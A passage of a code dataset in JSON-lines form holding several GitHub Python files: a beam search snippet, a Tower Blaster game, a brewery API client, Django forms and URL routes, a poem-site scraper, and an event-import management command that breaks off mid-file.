one_dict['index_list'].append(one_idx) \n one_dict['probability'] *= input_list[one_idx]\n else:\n temp_dict = copy.deepcopy(origin_dict)\n temp_dict['index_list'].append(one_idx) \n temp_dict['probability'] *= input_list[one_idx]\n result_list.append(temp_dict)\n\n\n\ndef decide_result(input_full):\n max_val = 0.\n max_index = 0\n\n for i, one_dict in enumerate(input_full):\n if max_val < one_dict['probability']:\n max_val = one_dict['probability']\n max_index = i\n\n return max_val, input_full[max_index] \n \n\n\nresult_val, result_seq = decide_result(result_list)\n\nprint(\"final result : {pro}, {sequence}\".format(pro=result_val, sequence=result_seq['index_list']))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"JeeYz/git_from_the_hell","sub_path":"etc/beam_search.py","file_name":"beam_search.py","file_ext":"py","file_size_in_byte":3084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40697487215","text":"\"\"\"\nName: Carol Wong\nThis is the program for Tower Blaster, a game that involves re-arranging a group of number bricks in order to\nget an increasing sequence.\n\"\"\"\n\n\ndef instructions():\n \"\"\"\n This function prints the rules of the game.\n \"\"\"\n print(\"* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\")\n print(\"* * * * * * * * * * * * * * * * T O W E R B L A S T E R * * * * * * * * * * * * * * * *\")\n print(\"* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\")\n print(\"\")\n print(\"= = = = = = = = = = = = = = = = = = = = S T A R T = = = = = = = = = = = = = = = = = = = =\")\n print(\"Instructions: This game starts with a pile of 60 bricks, numbered 1 ~ 60.\")\n print(\"The number on the brick represents the width of the brick.\")\n print(\"The first player to arrange a tower of 10 bricks from smallest to biggest wins.\")\n print(\"(i.e. numbered least to greatest.)\")\n print(\"= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\")\n print(\"\")\n\n\ndef setup_bricks():\n \"\"\"\n This function creates the main pile of 60 bricks, represented as a list containing the integers 1 ~ 60.\n This function also creates a discard pile of 0 bricks, represented as an empty list.\n This function returns both lists.\n \"\"\"\n\n main_pile = list(range(1, 61))\n discard = []\n return main_pile, discard\n\n\ndef shuffle_bricks(bricks):\n \"\"\"\n This function shuffles the given bricks, represented as a list. This is done to start the game.\n This function does not return anything.\n \"\"\"\n\n import random\n random.shuffle(bricks)\n\n\ndef check_bricks(main_pile, discard):\n \"\"\"\n This function checks if there are any cards left in the given main pile of bricks.\n If not, it shuffles the discard pile and moves those bricks to the main pile.\n Then it turns over the top card to be the start of the new discard pile.\n \"\"\"\n\n if not main_pile:\n shuffle_bricks(discard)\n main_pile.extend(discard) # adds all items in discard into main_pile\n discard.clear() # removes all items from discard pile\n discard.append(main_pile[0]) # adds the first item in main mile into discard pile\n main_pile.pop(0) # remove the first item in main pile\n\n\ndef check_tower_blaster(tower):\n \"\"\"\n Given the computer's tower or the user's tower, this function checks if stability has been achieved,\n i.e whether the bricks are in ascending order. This function returns a boolean value.\n \"\"\"\n\n tower_copy = tower.copy() # make a copy of a tower\n tower_copy.sort() # sort a tower in ascending order\n if tower_copy == tower: # check if copy of tower is equaled to tower\n return True\n else:\n return False\n\n\ndef get_top_brick(brick_pile):\n \"\"\"\n This function removes and returns the top brick from any given pile of bricks.\n This can be from the main pile, the discard pile, player's tower or computer's tower.\n \"\"\"\n\n top_brick = brick_pile[0]\n brick_pile.pop(0)\n return top_brick\n\n\ndef deal_initial_bricks(main_pile):\n \"\"\"\n This function starts the game by dealing two sets of 10 bricks each, from the given main_pile.\n It follows the normal conventions of dealing. The computer is always dealt first and always plays first.\n it returns a tuple containing two lists: the user's tower and the computer's tower.\n \"\"\"\n\n computer_tower = []\n user_tower = []\n for i in range(0, 10): # runs this for loop 10 times\n computer_tower.insert(0, get_top_brick(main_pile)) # takes top brick from main pile, insert in computer tower\n user_tower.insert(0, get_top_brick(main_pile)) # takes top brick from main pile, insert to user tower\n\n return computer_tower, user_tower\n\n\ndef add_brick_to_discard(brick, discard):\n \"\"\"\n This function adds the given brick to the top of the given discard pile.\n This function does not return anything.\n \"\"\"\n\n discard.insert(0, brick) # insert brick into first index of discard pile\n\n\ndef find_and_replace(new_brick, brick_to_be_replaced, tower, discard):\n \"\"\"\n This function finds the given brick, represented by an integer,\n to be replaced in the given tower and replaces it with the given new brick.\n It checks if the given brick to be replaced is truly a brick in the given tower.\n Then, it moves the given brick to be replaced to the top of the given discard pile.\n It returns True if the given brick is replaced, otherwise it returns False.\n \"\"\"\n\n if brick_to_be_replaced in tower:\n identified_index = tower.index(brick_to_be_replaced) # locates the index number for the brick in tower\n tower[identified_index] = new_brick # assign new brick to index space\n discard.insert(0, brick_to_be_replaced) # brick to change is inserted into beginning of discard pile\n return True\n else:\n return False\n\n\ndef computer_play(tower, main_pile, discard):\n \"\"\"\n This function is the computer's strategy of replacing bricks.\n Given the computer's tower and top discard brick, determine whether this brick is useful,\n then determine which brick to take, and which index position to place brick.\n \"\"\"\n discard_top = discard[0]\n\n # The computer's strategy is to 'slice' the pile of 60 bricks into 10 groups (divide by 6),\n # and based on each block's value, distribute them across 10 slots in the computer's tower.\n #\n # The computer wants to intentionally fill the beginning and end of the tower first,\n # if the top brick on the discard pile is less than 19 or more than 42, take it.\n # Take that brick's number (minus 1, as indexes start at 0) and divide it by 6,\n # that will be the index position for the brick.\n #\n # In other words, if the top discard brick is:\n # 1 ~ 6, place in 1st block position (index 0)\n # 7 ~ 12, place in 2nd block position (index 1)\n # 13 ~ 18, place in 3rd block position (index 2)\n # 19 ~ 42, don't take it. Take brick from main pile. (See strategy below)\n # 43 ~ 48, place in 8th block position (index 7)\n # 49 ~ 54, place in 9th block position (index 8)\n # 55 ~ 60, place in 10th block position (index 9)\n\n if discard_top < 19 or discard_top > 42:\n computer_tower_index = (discard_top - 1) // 6\n brick_to_remove = tower[computer_tower_index]\n tower[computer_tower_index] = discard_top # Place new brick and move unwanted brick into discard.\n discard[0] = brick_to_remove\n print(\"The computer picked [\", tower[computer_tower_index], \"] from the discard pile.\", sep='')\n return tower\n\n # If the top brick on the discard pile is between 19 and 42, then take a brick from main pile.\n # This brick (minus 1, as indexes start at 0), divided by 6, will be the index position to place it.\n #\n # If the revealed brick from main brick is:\n # 1 ~ 6, place in 1st block position (index 0)\n # 7 ~ 12, place in 2nd block position (index 1)\n # 13 ~ 18, place in 3rd block position (index 2)\n # 19 ~ 24, place in 4th block position (index 3)\n # 25 ~ 30, place in 5th block position (index 4)\n # 31 ~ 36, place in 6th block position (index 5)\n # 37 ~ 42, place in 7th block position (index 6)\n # 43 ~ 48, place in 8th block position (index 7)\n # 49 ~ 54, place in 9th block position (index 8)\n # 55 ~ 60, place in 10th block position (index 9)\n # The computer's strategy does not discard a brick from main pile.\n\n if 18 < discard_top < 43:\n taken_from_main = get_top_brick(main_pile)\n computer_tower_index = (taken_from_main - 1) // 6\n brick_to_remove = tower[computer_tower_index]\n tower[computer_tower_index] = taken_from_main\n discard.insert(0, brick_to_remove) # Place new brick and move unwanted brick into discard.\n print(\"The computer picked [\", tower[computer_tower_index], \"] from the main pile.\", sep='')\n return tower\n\n\ndef main():\n \"\"\"\n This function puts it all together.\n All user input takes place in this main function.\n \"\"\"\n\n main_pile = setup_bricks()[0] # takes main pile from setup_bricks\n shuffle_bricks(main_pile) # shuffles main pile\n discard = setup_bricks()[1] # takes discard pile from setup_bricks, which begins as empty\n add_brick_to_discard(get_top_brick(main_pile), discard) # places top brick from main pile into discard pile\n\n first_deal = deal_initial_bricks(main_pile) # makes a list called first deal using deal_initial_bricks function\n computer_tower = first_deal[0] # computer tower is taken from this list's first index\n user_tower = first_deal[1] # user tower is taken from this list's second index\n instructions()\n print(\"Computer Tower: \", computer_tower)\n print(\"Your Tower: \", user_tower)\n\n while check_tower_blaster(computer_tower) == False and check_tower_blaster(user_tower) == False:\n\n print(\"-----------------------------------------------------------------------------------------\")\n print(\"COMPUTER'S TURN:\")\n print(\"Computer's Tower: [?, ?, ?, ?, ?, ?, ?, ?, ?, ?]\", )\n print(\"The brick in discard pile is [\", discard[0], \"]\", sep='')\n computer_play(computer_tower, main_pile, discard) # computer picks the brick (print is included),\n # and gets the new computer tower\n\n print(\"The computer has swapped a brick.\")\n\n # Call the check_bricks function to check if the main pile is empty after each turn.\n check_bricks(main_pile, discard)\n\n if check_tower_blaster(computer_tower) == True or check_tower_blaster(user_tower) == True:\n print(\"= = = = = = = = = = = = = = = = = = G A M E O V E R = = = = = = = = = = = = = = = = = =\")\n if check_tower_blaster(computer_tower) == True:\n if check_tower_blaster(computer_tower):\n print(\"You Lost! :(\")\n print(\"Computer Tower: \", computer_tower)\n print(\"Your Tower: \", user_tower)\n print(\"= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\")\n if check_tower_blaster(user_tower) == True:\n print(\"YOU WON! :)\")\n print(\"Your Tower: \", user_tower)\n print(\"Computer Tower: \", computer_tower)\n print(\"= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\")\n break\n\n print(\"-----------------------------------------------------------------------------------------\")\n print(\"YOUR TURN!:\")\n print(\"Your Tower:\", user_tower)\n print(\"The brick in discard pile is [\", discard[0], \"]\", sep='')\n while 0 == 0: # takes selection of D or M from user (discard pile or main pile)\n selection = input(\n \"Press 'D' to take the brick from the discard pile or 'M' to take a brick from the main pile. \")\n if selection[0] == 'D' or selection[0] == 'd': # if selection is from discard pile\n print(\"You picked [\", discard[0], \"] from the discard pile.\", sep='')\n\n while 0 == 0:\n swapped_out_brick = int(input(\"Which brick do you want to swap out? (Input number on brick): \"))\n\n # if a brick is successfully replaced, display what has been swapped out, what has been added,\n # remove the swapped out brick from index 1, and display the new tower\n if find_and_replace(discard[0], swapped_out_brick, user_tower, discard):\n find_and_replace(discard[0], swapped_out_brick, user_tower, discard)\n print(\"You replaced [\", swapped_out_brick, \"] with [\", discard[1], \"]\", sep='')\n discard.pop(1)\n print(\"Your Tower: \", user_tower)\n break\n break\n\n if selection[0] == 'M' or selection[0] == 'm': # if selection is from the main pile\n brick_from_main = get_top_brick(main_pile)\n print(\"The top brick of the main pile is [\", brick_from_main, \"]\", sep='')\n\n while 0 == 0:\n choice = input(\"Do you want to use this brick? Type 'Y' if yes, or 'N' to skip turn. \")\n if choice[0] == 'Y' or choice[0] == 'y':\n # if yes, takes input from user for which brick to swap out\n while 0 == 0:\n swapped_out_brick = int(input(\n \"Which brick do you want to swap out? (Input number on brick): \"))\n\n # check if user's said brick is actually in his pile, if so, replace, and display success\n if find_and_replace(brick_from_main, swapped_out_brick, user_tower, discard):\n find_and_replace(brick_from_main, swapped_out_brick, user_tower, discard)\n print(\"You replaced [\", swapped_out_brick, \"] with [\", brick_from_main, \"]\", sep='')\n\n print(\"Your Tower: \", user_tower)\n break\n break\n\n # if no, the brick that was drawn is moved to discard pile\n if choice[0] == 'N' or choice[0] == 'n':\n print(\"Your Tower: \", user_tower)\n add_brick_to_discard(brick_from_main, discard)\n break\n\n break\n\n # Call the check_bricks function to check if the main pile is empty after each turn.\n check_bricks(main_pile, discard)\n\n # If either the computer's tower or the human's tower is in ascending order, then the game is over\n if check_tower_blaster(computer_tower) == True or check_tower_blaster(user_tower) == True:\n print(\"\")\n print(\"= = = = = = = = = = = = = = = = = = G A M E O V E R = = = = = = = = = = = = = = = = = =\")\n if check_tower_blaster(computer_tower):\n print(\"You Lost! :(\")\n print(\"Computer Tower: \", computer_tower)\n print(\"Your Tower: \", user_tower)\n print(\"= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\")\n if check_tower_blaster(user_tower):\n print(\"YOU WON! :)\")\n print(\"Your Tower: \", user_tower)\n print(\"Computer Tower: \", computer_tower)\n print(\"= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\")\n break\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"wlorac/Tower-Blaster","sub_path":"tower_blaster.py","file_name":"tower_blaster.py","file_ext":"py","file_size_in_byte":14802,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"14485188472","text":"import requests\n\nAPI_URL = \"https://api.openbrewerydb.org/breweries\"\n\n\ndef get_api_response():\n resp = requests.get(f'{API_URL}')\n data = resp.json()\n brews = data\n\n breweries = []\n\n for brew in brews:\n\n beer = {\n 'name': brew['name'],\n 'brewery_type': brew['brewery_type'],\n 'state': brew['state'],\n 'city': brew['city'],\n 'country': brew['country'],\n 'website_url': brew['website_url'],\n }\n\n breweries.append(beer)\n return breweries\n\n\n# def api_response():\n# page = 1\n# breweries = []\n\n# while True:\n# print(\"----\")\n# url = f\"{API_URL}?by_state=california&page={page}&per_page=50\"\n# print(\"Requesting url:\", url)\n\n# resp = requests.get(url)\n# data = resp.json()\n\n# if len(data) == 0:\n# break\n# breweries.extend(data)\n# page += 1\n\n\n# def get_api_response():\n# resp = requests.get(API_URL)\n# data = resp.json()\n# beers = data\n\n# breweries = []\n\n# for beer in beers:\n\n# brewery = {\n# 'name': beer['name'],\n# 'state': beer['state']\n# }\n\n# breweries.append(brewery)\n# return breweries\n# url = API_URL\n# breweries = []\n# page = 1\n\n# while True:\n# print(\"*******\")\n# url = f\"https://api.openbrewerydb.org/breweries?by_type=micro&page={page}\"\n# print(\"Requesting\", url)\n\n# resp = requests.get(url)\n# data = resp.json()\n# if len(data) == 0:\n# break\n# breweries.extend(data)\n# page += 1\n","repo_name":"jcketterer/capstone_1","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7635727489","text":"from decimal import Decimal as D\n\nfrom django import forms\nfrom django.core import validators\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom cc.relate.models import Endorsement\nfrom cc.ripple import PRECISION, SCALE\nimport cc.ripple.api as ripple\nfrom cc.feed.models import FeedItem\n\nROUTED = 'routed'\nDIRECT = 'direct'\n\nclass EndorseForm(forms.ModelForm):\n MESSAGES = {\n 'over_weight': _(\"Please ensure this number is below %d.\")\n }\n \n class Meta:\n model = Endorsement\n exclude = ('endorser', 'recipient', 'updated')\n\n def __init__(self, *args, **kwargs):\n self.endorser = kwargs.pop('endorser')\n self.recipient = kwargs.pop('recipient')\n super(EndorseForm, self).__init__(*args, **kwargs)\n self.fields['weight'].widget = (\n forms.TextInput(attrs={'class': 'int spinner'}))\n self.fields['weight'].min_value = 1\n\n @property\n def max_weight(self):\n if not self.endorser.endorsement_limited:\n return None\n max_weight = self.endorser.endorsements_remaining\n if self.instance.id:\n max_weight += self.instance.weight\n return max_weight\n \n def clean_weight(self):\n weight = self.cleaned_data['weight']\n if self.endorser.endorsement_limited and weight > self.max_weight:\n raise forms.ValidationError(\n self.MESSAGES['over_weight'] % self.max_weight)\n return weight\n \n def save(self):\n endorsement = super(EndorseForm, self).save(commit=False)\n if not self.instance.id:\n endorsement.endorser = self.endorser\n endorsement.recipient = self.recipient\n endorsement.save()\n return endorsement\n\nclass AcknowledgementForm(forms.Form):\n ripple = forms.ChoiceField(\n label=_(\"Send\"),\n choices=((ROUTED, _(\"Trusted acknowledgement\")),\n (DIRECT, _(\"Direct acknowledgement\"))),\n widget=forms.RadioSelect,\n initial=ROUTED)\n amount = forms.DecimalField(\n label=_(\"Hours\"),\n max_digits=PRECISION, decimal_places=SCALE,\n min_value=D('0.' + '0' * (SCALE - 1) + '1'))\n memo = forms.CharField(\n\tlabel=_(\"Testimonial\"),\n\trequired=False,\n\twidget=forms.Textarea)\n \n ERRORS = {\n 'max_ripple': _(\"This is higher than the maximum possible routed \"\n \"acknowledgement amount.\"),\n }\n \n def __init__(self, *args, **kwargs):\n self.max_ripple = kwargs.pop('max_ripple')\n super(AcknowledgementForm, self).__init__(*args, **kwargs)\n if self.max_ripple == 0:\n del self.fields['ripple']\n\n def clean(self):\n data = self.cleaned_data\n # Enforce max_ripple amount.\n if data.get('ripple') == ROUTED and 'amount' in data:\n if data['amount'] > self.max_ripple:\n self._errors['amount'] = self.error_class(\n [self.ERRORS['max_ripple']])\n return data\n\n def send_acknowledgement(self, payer, recipient):\n data = self.cleaned_data\n routed = data.get('ripple') == ROUTED\n obj = ripple.pay(\n payer, recipient, data['amount'], data['memo'], routed=routed)\n # Create feed item\n FeedItem.create_feed_items(\n sender=ripple.RipplePayment, instance=obj, created=True)\n return obj\n \n","repo_name":"rfugger/villagescc","sub_path":"cc/relate/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3386,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"47"} +{"seq_id":"22110370075","text":"#!/usr/bin/env python3\r\n\r\n\"\"\" poet_scraper.py:\r\nScrapes name, number of poems and link for all PoemHunter.com's Top 500 poets into a json file.\r\nauthor: ingversed\r\n\"\"\"\r\n\r\nfrom bs4 import BeautifulSoup\r\nimport json, requests, re, os, time\r\n\r\nPAGE_URL = 'https://www.poemhunter.com/p/t/l.asp?a=0&l=Top500&cinsiyet=&Populer_mi=&Classicmi=&Dogum_Tarihi_yil=&Dogum_Yeri=&p='\r\nPOETS_STRAINER = 'ol.poets-grid li' # identifies list of poets \r\nDIR_PATH = 'PoemHunterTop500' # destination directory for text files\r\n\r\ndef get_soup(PAGE_URL):\r\n tries = 1\r\n while True:\r\n try:\r\n seconds = 60\r\n response = requests.get(PAGE_URL)\r\n response.raise_for_status()\r\n soup = BeautifulSoup(response.content, features='html.parser')\r\n return soup\r\n \r\n except requests.exceptions.HTTPError as e:\r\n print('HTTP Error:', e)\r\n if response.status_code == 504:\r\n print('504 Gateway Timeout. Sleeping for ' + str(tries) + ' minute/s')\r\n time.sleep(seconds * tries)\r\n tries += 1\r\n \r\n except requests.exceptions.ConnectionError as e:\r\n print('Error Connecting:', e)\r\n\r\n except requests.exceptions.Timeout as e:\r\n print('Timeout Error:', e)\r\n print('Sleeping for ' + str(tries) + ' minute/s')\r\n time.sleep(seconds * tries)\r\n tries += 1\r\n\r\n except requests.exceptions.RequestException as e:\r\n raise SystemExit(e)\r\n\r\n\r\ndef main():\r\n message = \"Enter minimum number of poems required for a poet's corpus to be scraped: \"\r\n min_poems = int(input(message)) \r\n\r\n poets = {}\r\n\r\n page_soup = get_soup(PAGE_URL)\r\n poet_soup = page_soup.select(POETS_STRAINER)\r\n\r\n last_page = int(page_soup.find('li', 'next').previous_sibling.text)\r\n current_page = 1\r\n\r\n print('Writing json file...')\r\n\r\n while current_page <= last_page:\r\n for poet in poet_soup:\r\n num_poems_string = poet.find('div', 'info').text\r\n num_poems = int(re.search(r'\\d+',num_poems_string)[0])\r\n\r\n if num_poems >= min_poems:\r\n name = poet.find('a', 'name').text\r\n link = poet.find('a').get('href')\r\n poets[name] = { 'num_poems': num_poems, 'link': link }\r\n\r\n current_page += 1\r\n poet_soup = get_soup(PAGE_URL+str(current_page)).select(POETS_STRAINER)\r\n\r\n\r\n poets_file = os.path.join(DIR_PATH, 'poets.json') \r\n with open(poets_file, 'w') as fp:\r\n json.dump(poets, fp)\r\n\r\n print('Finished writing json file.')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n\r\n \r\n","repo_name":"ingversed/versusverses","sub_path":"poet_scraper.py","file_name":"poet_scraper.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18622392266","text":"from django.urls import path\nfrom .views import (\n list_view,detail_view,\n PostCreateView,PostUpdateView,\n PostDeletView,HomeView)\n\nfrom .views import (\n list_ustoz_view,list_shogird_view,\n list_sherig_view,list_hodim_view,\n list_ishchi_view,\n)\n\n\n\nurlpatterns = [\n path('',HomeView.as_view(),name='home'),\n path('list/',list_view,name='list'),\n path('post//delete/',PostDeletView.as_view(),name='post_delete'),\n path('post//edit/',PostUpdateView.as_view(),name='post_edit'),\n path('post/new/',PostCreateView.as_view(),name='post_new'),\n path('post//',detail_view,name='post_detail'),\n \n ## shuyerdan pasti def orqali yasalgan view lar uchun\n path('list/ustoz/',list_ustoz_view,name='list_ustoz'),\n path('list/shogird/',list_shogird_view, name='list_shogird'),\n path('list/sherig/',list_sherig_view, name='list_sherig'),\n path('list/hodim/',list_hodim_view, name='list_hodim'),\n path('list/ishchi/',list_ishchi_view, name='list_ishchi'),\n \n]\n","repo_name":"GGit001hub/ustoz-shogird","sub_path":"post/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25642891606","text":"from django.core.management.base import BaseCommand, CommandError\nfrom main.models import Event, EventAction, SamplingMethod, TimeSource, TimeUncertainty,\\\n PositionSource, PositionUncertainty, EventActionDescription, ImportedFile, Station\nfrom main import utils\n\nimport csv\nimport glob\nimport codecs\nfrom django.db import transaction\nimport os\n\n# This file is part of https://github.com/cpina/science-cruise-data-management\n#\n# This project was programmed in a hurry without any prior Django experience,\n# while circumnavigating the Antarctic on the ACE expedition, without proper\n# Internet access, with 150 scientists using the system and doing at the same\n# cruise other data management and system administration tasks.\n#\n# Sadly there aren't unit tests and we didn't have time to refactor the code\n# during the cruise, which is really needed.\n#\n# Carles Pina (carles@pina.cat) and Jen Thomas (jenny_t152@yahoo.co.uk), 2016-2017.\n\nclass Command(BaseCommand):\n help = 'Adds data to the events table'\n\n def add_arguments(self, parser):\n parser.add_argument('directory_name', type=str)\n\n def handle(self, *args, **options):\n # print(options['directory_name'])\n self.import_data_from_directory(options['directory_name'])\n\n def import_data_from_directory(self, directory_name):\n for file in glob.glob(directory_name + \"/*.csv\"):\n self.process_filename(file)\n\n def convert_to_boolean(self, value):\n if value.lower() == \"true\":\n return True\n elif value.lower() == \"false\":\n return False\n else:\n # The boolean wasn't True neither False?\n print(\"Unexpected string for boolean:\", value.lower())\n assert False\n\n\n def find_foreign_key_object(self, possible_column_names, row, model, field, missing_ok=False):\n column_name = None\n\n for possible_column_name in possible_column_names:\n if possible_column_name in row:\n column_name = possible_column_name\n\n if column_name is None and missing_ok==True:\n return None\n\n if column_name is None:\n print(\"Wanted to find a column name like one of:\",possible_column_names,\"but not found. Aborting\")\n exit(1)\n\n value = row[column_name]\n\n while True:\n query_set = model.objects.filter(**{field: value})\n if value == \"\":\n print(\"Processing row: \", row)\n print(\"Wanted a '{}' with field: '{}' and value: '{}' but not found\".format(model, field, value))\n print(\"Since it's empty, press ENTER to confirm that will be assigned None\")\n input()\n return None\n elif len(query_set) == 0:\n print(\"Processing row: \", row)\n print(\"Wanted a '{}' with field: '{}' and value: '{}' but not found\".format(model, field, value))\n print(\"Please change the database to have it and press ENTER. Or cancel the import of this spreadsheet (Ctl+C)\")\n input()\n elif len(query_set) > 1:\n print(\"Processing row: \", row)\n print(\"Wanted a '{}' with field '{}' and value: '{}' but found more than one\".format(model, field, value))\n print(\"Please change the database to have only one and press ENTER. Or cancel the import of this spreadsheet (Ctl+C)\")\n else:\n return query_set[0]\n\n def process_filename(self, filepath):\n with codecs.open(filepath, encoding='utf-8', errors='ignore') as csvfile:\n reader = csv.DictReader(csvfile)\n\n events_to_be_inserted = []\n\n # It will ask for confirmation if there is an event with the same\n # fields as the event that is going to be inserted\n ask_confirmation = False\n\n previous_event_time = None\n previous_event = None\n row_index_to_events = {}\n\n rows = []\n row_index = 0\n for row in reader:\n if row == 10:\n break\n\n rows.append(row)\n row_index += 1\n\n # Save event\n data = self.convert_to_boolean(row['data'])\n samples = self.convert_to_boolean(row['samples'])\n\n event = Event()\n\n if 'event_number' in row and row['event_number'] != None and row['event_number'] != \"\":\n event = Event.objects.get(number=row['event_number'])\n row_index_to_events[row_index] = event\n print(\"skipping row\", row_index, \"because it already had an event\")\n # input()\n continue\n\n event.data = data\n event.samples = samples\n event.sampling_method = self.find_foreign_key_object(['sampling_method', 'parent_device'],\n row,\n SamplingMethod,\n 'name')\n event.outcome = \"Success\"\n event.comments= row['general_comments']\n station = self.find_foreign_key_object(['station'],\n row,\n Station,\n 'name', missing_ok=True)\n\n event.station = station\n\n\n time_uncertainty = self.find_foreign_key_object(['time_uncertainty'],\n row,\n TimeUncertainty,\n 'name')\n time_source = self.find_foreign_key_object(['time_source'],\n row,\n TimeSource,\n 'name')\n\n description_begin = self.find_foreign_key_object(['what_happened_start'],\n row,\n EventActionDescription,\n 'name')\n\n description_end = self.find_foreign_key_object(['what_happened_end'],\n row,\n EventActionDescription,\n 'name')\n\n position_source = self.find_foreign_key_object(['position_source'],\n row,\n PositionSource,\n 'name', missing_ok=True)\n position_uncertainty = self.find_foreign_key_object(['position_uncertainty'],\n row,\n PositionUncertainty,\n 'name', missing_ok=True)\n\n # Save event action begin\n event_action_begin = EventAction()\n event_action_begin.time = utils.string_to_date_time(row['start_time'])\n\n if event_action_begin.time == previous_event_time:\n print(\"This event will be ignored in the creation: it has the same start event time as the previous\")\n row_index_to_events[row_index] = previous_event\n # input()\n continue\n\n previous_event_time = event_action_begin.time\n\n row_index_to_events[row_index] = event\n\n previous_event = event\n\n if event_action_begin.time is None:\n print(\"Row\", row)\n\n event_action_begin.description = description_begin\n event_action_begin.type = EventAction.text_to_type(row.get('start_type', EventAction.tbegin_text()))\n event_action_begin.time_source = time_source\n event_action_begin.time_uncertainty = time_uncertainty\n event_action_begin.latitude = row.get('start_latitude', None)\n event_action_begin.longitude = row.get('start_longitude', None)\n event_action_begin.position_source = position_source\n event_action_begin.position_uncertainty = position_uncertainty\n\n # Save event action end\n event_action_end = EventAction()\n event_action_end.time = utils.string_to_date_time(row['end_time'])\n event_action_end.description = description_end\n event_action_end.type = EventAction.tends()\n event_action_end.latitude = row.get('end_latitude', None)\n event_action_end.longitude = row.get('end_longitude', None)\n\n if event_action_begin.time is None:\n print(\"Row\", row)\n\n event_action_end.time_source = time_source\n event_action_end.time_uncertainty = time_uncertainty\n event_action_end.position_source = position_source\n event_action_end.position_uncertainty = position_uncertainty\n\n ask_confirmation |= self.report_event_exists(event)\n ask_confirmation |= self.report_event_action_exists(event_action_begin)\n\n if event_action_end.time is None:\n event_action_end = None\n else:\n ask_confirmation |= self.report_event_action_exists(event_action_end)\n\n events_to_be_inserted.append((event, event_action_begin, event_action_end))\n\n if ask_confirmation:\n print(\"Some rows already existed, do you want to import all the spreadsheet? (yes/no)\")\n answer = input()\n\n if answer != \"yes\":\n print(\"Aborting\")\n exit(1)\n\n # insert_objects actually always the list of inserted objects or throws an exception\n self.insert_objects(events_to_be_inserted)\n utils.add_imported(filepath, \"Events\")\n\n sample_sheet_filepath = self.sample_sheet_filepath(filepath)\n self.generate_samples_sheet(rows, row_index_to_events, sample_sheet_filepath)\n\n def sample_sheet_filepath(self, filepath):\n filepath_split = filepath.split(\"/\")\n filepath_split[-1] = \"sample-sheet-\"+filepath_split[-1]\n return \"/\".join(filepath_split)\n\n def event2str(self, event):\n event_str = \"\"\"EVENT\nnumber: {number}\nsampling_method: {sampling_method}\nstation: {station}\ndata: {data}\nsamples: {samples}\noutcome: {outcome}\n\"\"\".format(**{'number': event.number,\n 'sampling_method': event.sampling_method,\n 'station': event.station,\n 'data': event.data,\n 'samples': event.samples,\n 'outcome': event.outcome})\n\n return event_str\n\n def event_action2str(self, event_action):\n\n event_action_str = \"\"\"EVENT ACTION\nid: {id}\ntype: {type}\ntime: {time}\ntime_source: {time_source}\ntime_uncertainty: {time_uncertainty}\nlatitude: {latitude}\nlongitude: {longitude}\nposition_source: {position_source}\nposition_uncertainty: {position_uncertainty}\nwater_depth: {water_depth}\ngeneral_comments: {general_comments}\ndata_source_comments: {data_source_comments}\n\"\"\".format(**{'id': event_action.id,\n 'type': event_action.type,\n 'time': event_action.time,\n 'time_source': event_action.time_source,\n 'time_uncertainty': event_action.time_uncertainty,\n 'latitude': event_action.latitude,\n 'longitude': event_action.longitude,\n 'position_source': event_action.position_source,\n 'position_uncertainty': event_action.position_uncertainty,\n 'water_depth': event_action.water_depth,\n 'general_comments': event_action.general_comments,\n 'data_source_comments': event_action.data_source_comments})\n\n return event_action_str\n\n def report_event_exists(self, event):\n query_filter = Event.objects.filter(sampling_method=event.sampling_method).filter(data=event.data).filter(samples=event.samples).filter(outcome=event.outcome)\n\n if len(query_filter) > 0:\n print(\"There are some rows in the database very similar to the existing ones:\")\n print(\"Event in the file:\", self.event2str(event))\n for event_db in query_filter:\n print(\"Event in the database:\", self.event2str(event_db))\n\n return query_filter.exists()\n\n def report_event_action_exists(self, event_action):\n query_filter = EventAction.objects.filter(time=event_action.time).filter(type=event_action.type).filter(time_source=event_action.time_source).filter(time_uncertainty=event_action.time_uncertainty)\n\n if len(query_filter) > 0:\n print(\"There are some rows in the database very similar to the existing ones:\")\n print(\"EventAction in the file:\", self.event_action2str(event_action))\n for event_db in query_filter:\n print(\"EventAction in the database:\", self.event_action2str(event_db))\n\n return query_filter.exists()\n\n @transaction.atomic\n def insert_objects(self, events):\n for complete_event in events:\n event = complete_event[0]\n\n if event.pk is not None:\n print(\"Not inserting event, was already inserted:\", event.pk)\n continue\n\n event_action_begins = complete_event[1]\n event_action_ends = complete_event[2]\n\n event.save()\n print(\"Inserted event:\", event)\n event_action_begins.event = event\n\n if event_action_ends is not None:\n event_action_ends.event = event\n\n event_action_begins.save()\n\n if event_action_ends is not None:\n event_action_ends.save()\n\n\n def generate_samples_sheet(self, rows, row_index_to_events, filepath):\n output_file = open(filepath, \"w\")\n # csv_writer = csv.DictWriter(output_file, [\"event_number\", \"parent_device\", \"data\", \"samples\", \"start_time\",\n # \"type\", 